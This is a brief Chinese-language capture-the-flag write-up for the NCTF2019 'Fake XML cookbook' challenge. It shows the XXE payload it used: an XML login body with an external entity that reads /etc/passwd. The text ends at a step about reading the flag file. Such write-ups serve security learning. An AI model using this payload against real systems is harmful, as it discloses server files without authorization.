BUUCTF-NCTF做题笔记

[NCTF2019]Fake XML cookbook

1. 随便输入用户名和密码，进行抓包

2. 发现是xml，尝试xxePayload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123456</password></user>

可以读取到/etc/passwd

3. 尝试读取flag文件